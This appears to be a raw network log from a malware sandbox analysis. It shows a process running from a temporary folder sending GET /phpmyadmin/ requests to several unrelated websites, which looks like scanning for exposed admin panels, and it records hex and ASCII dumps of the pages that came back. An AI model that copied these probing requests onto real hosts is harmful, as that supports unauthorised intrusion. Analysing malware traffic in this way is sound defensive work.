2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:21 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	52273	64.91.249.20	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: recipe-for-kids.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	243	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:21 UTC	28	IN	Data Raw: 31 38 0d 0a 3c 68 31 3e 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a Data Ascii: 18<h1>404: Not Found</h1>
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	52434	198.49.23.145	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	298	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache, must-revalidate Content-Length: 77562 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Dec 2023 02:13:21 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: ubBT0RQi/IIr1YNym Connection: close
2023-12-20 02:13:21 UTC	888	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 Data Ascii: <!DOCTYPE html><head> <title>404 Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; t
2023-12-20 02:13:21 UTC	2372	IN	Data Raw: 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 7d 0a 0a 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 29 20 7b 0a 20 Data Ascii: line-height: 2em; } footer span { margin: 0 11px; font-size: 1em; font-weight: 300; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 300; color: #191919; } @media (max-width: 600px) {
2023-12-20 02:13:21 UTC	538	IN	Data Raw: 6d 69 5a 42 48 6d 70 71 30 38 6a 47 70 55 6a 53 64 5a 74 69 39 47 76 54 30 73 50 47 55 56 34 4d 4d 67 45 5a 59 6c 6b 6d 43 48 48 41 4e 6e 36 56 59 42 4a 34 37 70 35 59 70 67 2f 45 75 4d 76 62 4f 64 58 2f 4a 6d 2f 38 6c 76 2b 4c 64 36 66 4d 4b 50 47 78 71 48 49 76 46 67 70 45 78 76 58 6a 45 4b 45 58 54 39 47 6a 67 57 69 53 6b 54 58 52 68 67 7a 2b 33 75 42 46 44 4e 6b 6b 58 62 73 35 66 64 35 32 68 5a 35 30 34 62 4a 4e 61 6f 45 6d 61 57 66 61 53 59 59 6c 42 4c 6b 6b 56 71 42 73 4f 44 4f 6c 58 6e 58 54 2f 2f 66 6f 30 2f 66 6f 42 37 79 53 4b 77 34 67 34 77 79 54 2b 7a 70 6e 4e 4b 2f 61 72 58 75 58 35 74 61 35 4a 31 5a 35 72 30 52 59 77 58 72 52 75 69 4f 6d 39 4e 53 75 68 71 2f 64 33 6a 66 34 64 69 77 71 47 56 47 76 52 42 68 34 6a 6d 77 59 36 4a 44 6f 71 33 61 Data Ascii: miZBHmpq08jGpUjSdZti9GvT0sPGUV4MMgEZYlkmCHHANn6VYBJ47p5Ypg/EuMvbOdX/Jm/8lv+Ld6fMKPGxqHIvFgpExvXjEKEXT9GjgWiSkTXRhgz+3uBFDNkkXbs5fd52hZ504bJNaoEmaWfaSYYlBLkkVqBsODOlXnXT//fo0/foB7ySKw4g4wyT+zpnNK/arXuX5ta5J1Z5r0RYwXrRuiOm9NSuhq/d3jf4diwqGVGvRBh4jmwY6JDoq3a
2023-12-20 02:13:21 UTC	4744	IN	Data Raw: 38 34 7a 76 71 7a 55 70 39 38 37 66 66 4f 71 71 2b 70 6a 34 6c 4d 59 63 71 2b 5a 58 75 5a 73 78 54 49 4d 35 5a 7a 6e 4f 75 49 56 7a 61 6e 45 38 43 58 6a 4f 52 4a 38 38 35 36 67 57 65 63 49 73 37 33 47 34 49 56 61 54 6f 6d 2b 46 64 5a 6d 6b 31 33 69 51 68 5a 70 56 76 77 57 61 65 4a 4a 76 5a 77 6d 5a 66 67 4c 72 4d 45 50 44 73 6d 57 53 65 54 50 32 70 67 42 49 56 71 72 34 34 6c 6a 6e 44 4f 63 34 32 4e 44 66 6d 4b 4a 73 63 52 6e 7a 6a 73 6c 4c 75 38 59 44 37 44 65 55 69 51 74 61 38 71 2b 67 54 4d 38 55 75 4a 67 78 71 73 31 6c 74 6c 78 47 6d 46 33 6d 48 52 65 38 77 37 4d 36 59 4b 62 70 59 57 42 49 5a 77 36 61 62 41 58 6f 49 4e 58 43 48 76 38 57 49 59 64 68 61 75 38 62 57 43 32 56 39 39 31 71 78 55 4b 4c 49 65 53 35 79 6f 63 46 76 32 57 53 65 6a 45 64 66 68 77 Data Ascii: 84zvqzUp987ffOqq+pj4lMYcq+ZXuZsxTIM5ZznOuIVzanE8CXjORJ8856gWecIs73G4IVaTom+FdZmk13iQhZpVvwWaeJJvZwmZfgLrMEPDsmWSeTP2pgBIVqr44ljnDOc42NDfmKJscRnzjslLu8YD7DeUiQta8q+gTM8UuJgxqs1ltlxGmF3mHRe8w7M6YKbpYWBIZw6abAXoINXCHv8WIYdhau8bWC2V991qxUKLIeS5yocFv2WSejEdfhw
2023-12-20 02:13:21 UTC	5930	IN	Data Raw: 70 4a 37 65 50 5a 37 7a 32 42 34 6e 4e 71 5a 6c 52 56 48 75 78 69 6a 6c 4a 65 75 42 6c 72 79 73 6c 2b 69 6b 4c 76 59 32 7a 37 51 6c 34 6d 56 68 79 4d 59 37 67 34 49 67 4d 4b 47 45 6f 72 41 2b 6f 45 41 71 53 31 6a 43 78 42 45 73 73 4c 4b 71 37 6c 67 48 36 36 54 62 31 69 75 4f 48 4a 65 4e 34 38 66 32 2b 4b 4c 4f 6b 53 51 47 46 69 74 78 6d 58 61 36 58 30 6a 6c 58 6e 4f 63 77 50 6a 6d 78 73 37 35 4f 6c 77 4c 58 52 56 65 34 71 63 37 6b 4a 34 67 53 4c 69 6b 4c 68 2f 65 49 57 63 44 69 6f 4d 69 33 5a 54 57 61 47 6f 63 71 41 61 45 2b 74 34 6d 32 31 66 2b 6d 36 32 44 63 56 64 70 62 63 59 38 65 6b 34 68 41 55 5a 47 69 6a 58 6a 4c 39 62 33 45 77 6c 72 64 72 75 61 47 4f 31 73 38 45 4a 66 45 52 67 6a 56 6e 72 54 78 4d 31 63 67 7a 5a 6e 6a 69 6d 2f 35 46 42 70 58 78 7a Data Ascii: pJ7ePZ7z2B4nNqZlRVHuxijlJeuBlrysl+ikLvY2z7Ql4mVhyMY7g4IgMKGEorA+oEAqS1jCxBEssLKq7lgH66Tb1iuOHJeN48f2+KLOkSQGFitxmXa6X0jlXnOcwPjmxs75OlwLXRVe4qc7kJ4gSLikLh/eIWcDioMi3ZTWaGocqAaE+t4m21f+m62DcVdpbcY8ek4hAUZGijXjL9b3EwlrdruaGO1s8EJfERgjVnrTxM1cgzZnjim/5FBpXxz
2023-12-20 02:13:21 UTC	7116	IN	Data Raw: 56 77 70 49 45 6f 42 53 77 6f 6f 34 71 46 49 42 55 55 43 46 4b 6d 68 53 49 41 5a 47 62 54 49 59 55 4d 42 46 54 78 55 71 4b 43 43 68 77 6f 56 56 50 42 51 6f 59 49 4b 41 53 72 55 33 77 4d 4d 6b 39 52 41 41 41 42 34 41 58 54 4f 41 37 42 6a 4d 52 53 41 34 66 2b 6d 58 64 75 32 62 64 75 32 6a 66 71 68 75 75 31 71 74 49 4f 31 62 64 75 32 62 64 75 32 62 5a 37 42 4d 6f 4d 76 79 57 45 77 67 4c 67 63 74 46 7a 45 55 72 31 6d 2f 65 59 6b 64 77 55 64 6b 56 53 4d 36 68 4c 79 34 73 59 4b 38 4f 30 62 69 51 45 72 73 59 6c 50 59 70 4b 54 6d 67 78 6b 49 51 64 35 4b 45 41 52 53 6c 43 47 43 72 39 56 47 73 51 67 44 67 6c 49 51 67 72 53 6b 4a 47 73 35 43 51 76 42 53 6c 4b 53 63 70 53 6b 62 67 59 31 61 6f 30 7a 30 78 68 6b 48 70 46 54 4f 4b 53 6b 4b 53 6b 4a 43 32 5a 79 45 59 75 Data Ascii: VwpIEoBSwoo4qFIBUUCFKmhSIAZGbTIYUMBFTxUqKCChwoVVPBQoYIKASrU3wMMk9RAAAB4AXTOA7BjMRSA4f+mXdu2bdu2jfqhuu1qtIO1bdu2bdu2bZ7BMoMvyWEwgLgctFzEUr1m/eYkdwUdkVSM6hLy4sYK8O0biQErsYlPYpKTmgxkIQd5KEARSlCGCr9VGsQgDglIQgrSkJGs5CQvBSlKScpSkbgY1ao0z0xhkHpFTOKSkKSkJC2ZyEYu
2023-12-20 02:13:21 UTC	8302	IN	Data Raw: 33 38 57 49 71 76 76 78 68 48 31 49 33 68 55 72 53 55 6e 64 2f 39 67 39 30 75 54 64 45 7a 51 78 6e 64 77 75 35 53 56 55 69 41 67 69 45 52 59 79 61 71 63 38 5a 48 5a 6b 41 55 73 79 4c 5a 74 44 43 6a 50 34 53 66 55 2f 30 46 46 2f 66 77 53 48 65 39 48 6b 2b 71 6e 4e 64 33 39 6b 58 77 50 2f 44 43 6e 35 42 61 59 69 55 51 41 52 59 6b 42 53 42 58 56 58 67 6c 49 49 4e 4c 49 62 65 56 76 61 4e 48 4e 75 4a 4f 59 46 72 56 2b 57 61 30 4d 43 4b 31 55 6f 54 49 44 51 6a 53 52 76 36 4e 52 66 38 4a 50 2f 69 6a 4f 76 47 76 70 30 41 50 70 36 66 73 50 6e 33 31 2f 61 4b 2f 6e 32 4e 44 6f 75 61 31 74 35 34 34 65 75 69 78 50 2f 54 59 65 78 72 37 44 37 78 6d 62 2f 39 2b 31 49 77 38 75 48 70 71 78 74 66 55 4d 58 4c 56 72 38 75 72 2b 34 33 76 48 4e 58 6c 63 77 2b 58 74 56 37 77 4d Data Ascii: 38WIqvvxhH1I3hUrSUnd/9g90uTdEzQxndwu5SVUiAgiERYyaqc8ZHZkAUsyLZtDCjP4SfU/0FF/fwSHe9Hk+qnNd39kXwP/DCn5BaYiUQARYkBSBXVXglIINLIbeVvaNHNuJOYFrV+Wa0MCK1UoTIDQjSRv6NRf8JP/ijOvGvp0APp6fsPn31/aK/n2NDoua1t544euixP/TYexr7D7xmb/9+1Iw8uHpqxtfUMXLVr8ur+43vHNXlcw+XtV7wM
2023-12-20 02:13:21 UTC	6676	IN	Data Raw: 50 64 33 65 7a 6e 32 49 73 6d 2b 41 6f 2b 51 39 36 4d 39 52 41 48 55 77 55 31 74 6a 75 4f 6a 63 54 74 4a 4f 41 73 2b 55 77 6d 4b 59 31 42 35 5a 70 4d 66 62 71 73 50 6a 54 53 65 38 4d 56 46 53 2b 59 64 62 63 33 2f 65 66 50 37 2f 2f 50 50 6c 77 63 51 66 35 30 51 74 66 75 50 2f 46 4c 39 35 66 46 4c 6e 79 42 4c 4b 55 6b 67 33 61 38 35 44 7a 77 69 42 65 32 4a 4b 59 38 65 53 70 71 39 70 63 53 69 62 64 78 46 49 2b 47 37 50 52 48 45 37 74 71 4a 72 50 47 65 6e 6a 34 46 6e 6e 65 4b 6b 35 6c 2b 76 4a 5a 6a 73 79 57 62 4b 4e 54 42 63 4b 30 78 75 47 74 37 32 33 2b 41 64 36 64 32 66 58 61 45 73 79 6e 55 2f 72 78 74 69 75 37 61 76 37 70 6c 65 4e 62 35 7a 41 63 62 53 7a 32 54 54 47 78 70 47 44 71 63 4a 6c 45 57 4a 61 58 55 51 33 2b 54 67 73 49 4e 59 35 30 45 33 44 31 49 Data Ascii: Pd3ezn2Ism+Ao+Q96M9RAHUwU1tjuOjcTtJOAs+UwmKY1B5ZpMfbqsPjTSe8MVFS+Ydbc3/efP7//PPlwcQf50QtfuP/FL95fFLnyBLKUkg3a85DzwiBe2JKY8eSpq9pcSibdxFI+G7PRHE7tqJrPGenj4FnneKk5l+vJZjsyWbKNTBcK0xuGt723+Ad6d2fXaEsynU/rxtiu7av7pleNb5zAcbSz2TTGxpGDqcJlEWJaXUQ3+TgsINY50E3D1I
2023-12-20 02:13:21 UTC	10674	IN	Data Raw: 49 2f 74 6e 4b 5a 39 69 4b 38 34 52 71 34 43 4f 48 7a 6e 36 77 4b 76 79 49 6c 35 63 62 42 53 39 64 70 6d 76 6c 6b 65 46 44 4c 7a 4f 5a 45 70 30 4b 48 76 49 6e 71 6b 55 51 46 54 2b 31 51 64 66 65 76 67 52 50 2f 38 61 57 73 36 48 71 4c 4a 32 64 57 4a 59 6e 6a 42 6c 32 77 73 32 75 56 61 2f 4c 76 62 4b 70 73 4f 47 41 4f 32 79 59 4b 64 47 70 6f 43 46 2f 6f 6b 72 6b 73 44 4f 52 62 6b 76 36 52 51 35 39 6c 50 55 56 73 57 43 6d 71 6a 49 33 4e 65 57 72 4d 63 55 66 7a 6e 58 73 39 66 47 4d 36 76 46 43 5a 48 61 56 45 2f 31 54 30 30 74 46 44 41 66 63 73 62 47 38 4e 31 4b 6f 6e 76 4c 47 44 45 58 48 6b 42 58 46 44 4a 63 51 77 38 74 39 5a 75 66 66 71 34 6a 46 4d 30 50 33 56 42 65 52 4c 75 55 6a 39 70 77 45 5a 4f 42 32 71 58 71 78 73 32 42 77 41 6d 65 63 6a 42 4a 36 4a 5a Data Ascii: I/tnKZ9iK84Rq4COHzn6wKvyIl5cbBS9dpmvlkeFDLzOZEp0KHvInqkUQFT+1QdfevgRP/8aWs6HqLJ2dWJYnjBl2ws2uVa/LvbKpsOGAO2yYKdGpoCF/okrksDORbkv6RQ59lPUVsWCmqjI3NeWrMcUfznXs9fGM6vFCZHaVE/1T00tFDAfcsbG8N1KonvLGDEXHkBXFDJcQw8t9Zuffq4jFM0P3VBeRLuUj9pwEZOB2qXqxs2BwAmecjBJ6JZ
2023-12-20 02:13:21 UTC	11860	IN	Data Raw: 76 50 37 74 50 47 37 54 33 6e 4b 2f 44 33 6b 56 64 38 37 66 50 68 37 6b 38 56 33 6b 51 4f 54 79 42 4f 30 4d 5a 6b 4e 4d 54 74 74 68 7a 50 6e 55 79 52 49 48 49 6e 6c 45 47 2b 61 65 51 34 77 48 7a 56 49 69 57 69 69 4e 43 65 78 63 49 4e 42 6d 48 65 79 49 37 4f 63 6b 48 33 41 4b 4b 69 75 6e 56 53 50 4b 44 49 73 56 32 6c 4c 4a 68 72 6c 43 4f 4d 64 36 45 62 52 75 56 54 57 59 42 61 36 79 6b 54 48 6e 31 4a 71 4a 49 44 53 32 62 64 76 7a 78 34 6d 72 2b 50 48 68 63 52 51 4f 69 2b 64 76 47 34 33 6b 39 64 31 6b 38 65 34 77 45 44 31 55 52 58 39 7a 52 48 70 78 74 4d 2f 77 64 50 61 58 4b 51 30 32 61 71 76 71 57 68 76 7a 6c 4b 31 47 35 5a 72 62 77 36 56 6e 55 32 2f 35 74 63 32 65 5a 2f 54 37 4e 53 54 70 4c 34 59 39 66 59 39 46 5a 69 2b 6d 4b 2f 65 43 2b 38 70 4e 4a 62 6e Data Ascii: vP7tPG7T3nK/D3kVd87fPh7k8V3kQOTyBO0MZkNMTtthzPnUyRIHInlEG+aeQ4wHzVIiWiiNCexcINBmHeyI7OckH3AKKiunVSPKDIsV2lLJhrlCOMd6EbRuVTWYBa6ykTHn1JqJIDS2bdvzx4mr+PHhcRQOi+dvG43k9d1k8e4wED1URX9zRHpxtM/wdPaXKQ02aqvqWhvzlK1G5Zrbw6VnU2/5tc2eZ/T7NSTpL4Y9fY9FZi+mK/eC+8pNJbn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	52323	66.96.160.139	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
2023-12-20 02:13:21 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	51655	166.62.28.100	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
